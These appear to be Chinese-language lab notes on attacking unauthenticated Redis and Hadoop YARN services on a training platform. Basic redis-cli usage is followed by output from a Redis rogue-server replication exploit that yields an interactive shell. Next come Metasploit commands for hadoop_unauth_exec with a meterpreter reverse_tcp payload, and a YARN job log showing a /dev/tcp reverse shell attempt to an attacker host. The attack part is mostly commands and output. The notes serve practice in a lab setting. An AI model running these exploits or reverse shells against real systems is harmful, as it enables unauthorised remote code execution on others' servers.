redis连接远程服务器: redis-cli -h host -p port -a password
set testkey "Hello World" #设置键testkey的值为字符串 get testkey #获取键testkey的内容
set score 99 #设置键score的值为99 incr score #使用INCR命令将score的值增加1 get score #获取键score的内容
keys * #列出当前数据库中所有的键 config set dir /home/test #设置工作目录 config set dbfilename redis.rdb #设置备份文件名 config get dir #检查工作目录是否设置成功 config get dbfilename #检查备份文件名是否设置成功 save #进行一次备份操作 flushall #删除所有数据 del key #删除键为key的数据
wget http://download.redis.io/releases/redis-6.0.3.tar.gz tar -zxvf redis-6.0.3.tar.gz //解压 cd redis-6.0.3/ make //编译 cd src/ cp redis-cli /usr/bin //客户端连接程序
[*] Connecting to target.yijinglab.com:52257... [*] Redis version: 4.0.14 [*] OS: Linux 5.4.0-164-generic x86_64 [*] Arch_bits: 64 [*] Redis dbsize: 0 [√] Can use master-slave replication to load the RedisModule to attack the redis [*] Saveing dbdata [*] Setting filename [*] Sending SLAVEOF command to server [+] Accepted connection from 139.196.159.200:52257 [+] Accepted connection from 139.196.159.200:52257 [*] Start listening on 8.219.161.88:16379 [*] Tring to run payload [+] Accepted connection from 222.77.96.237:43728 [*] Closing rogue server... [+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i [+] Interactive shell open , use "exit" to exit... $ id uid=999(redis) gid=999(redis) groups=999(redis) $ whoami uredis $ uname -a Linux 66cc81397dee 5.4.0-164-generic #181-Ubuntu SMP Fri Sep 1 13:41:22 UTC 2023 x86_64 GNU/Linux $ exit [*] Clean up.. [*] Closing rogue server... [*] Refuseing dbdata
msfconsole -q use exploit/linux/http/hadoop_unauth_exec set rhosts 192.168.81.127 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.81.238 set lport 5566 exploit
<app> <id>application_1688957760252_0016</id> <user>dr.who</user> <name>get-shell</name> <queue>default</queue> <state>FAILED</state> <finalStatus>FAILED</finalStatus> <progress>0.0</progress> <trackingUI>History</trackingUI> <trackingUrl>http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016</trackingUrl> <diagnostics>Application application_1688957760252_0016 failed 2 times due to AM Container for appattempt_1688957760252_0016_000002 exited with exitCode: 1 Failing this attempt.Diagnostics: Exception from container-launch. Container id: container_1688957760252_0016_02_000001 Exit code: 1 Exception message: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused Stack trace: ExitCodeException exitCode=1: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused at org.apache.hadoop.util.Shell.runCommand(Shell.java:972) at org.apache.hadoop.util.Shell.run(Shell.java:869) at org.apache.hadoop.util.Shell$ShellCommandExecutor.execute(Shell.java:1170) at org.apache.hadoop.yarn.server.nodemanager.DefaultContainerExecutor.launchContainer(DefaultContainerExecutor.java:236) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:305) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:84) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:748) Container exited with a non-zero exit code 1 For more detailed output, check the application tracking page: http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016 Then click on links to logs of each attempt. . Failing the application.</diagnostics> <clusterId>1688957760252</clusterId> <applicationType>YARN</applicationType> <applicationTags/> <priority>-1</priority> <startedTime>1688968516137</startedTime> <finishedTime>1688969160731</finishedTime> <elapsedTime>644594</elapsedTime> <amContainerLogs>http://455c7d01c293:8042/node/containerlogs/container_1688957760252_0016_02_000001/dr.who</amContainerLogs> <amHostHttpAddress>455c7d01c293:8042</amHostHttpAddress> <allocatedMB>-1</allocatedMB> <allocatedVCores>-1</allocatedVCores> <runningContainers>-1</runningContainers> <memorySeconds>658947</memorySeconds> <vcoreSeconds>643</vcoreSeconds> <queueUsagePercentage>0.0</queueUsagePercentage> <clusterUsagePercentage>0.0</clusterUsagePercentage> <preemptedResourceMB>0</preemptedResourceMB> <preemptedResourceVCores>0</preemptedResourceVCores> <numNonAMContainerPreempted>0</numNonAMContainerPreempted> <numAMContainerPreempted>0</numAMContainerPreempted> <preemptedMemorySeconds>0</preemptedMemorySeconds> <preemptedVcoreSeconds>0</preemptedVcoreSeconds> <logAggregationStatus>SUCCEEDED</logAggregationStatus> <unmanagedApplication>false</unmanagedApplication> <appNodeLabelExpression/> <amNodeLabelExpression/> </app>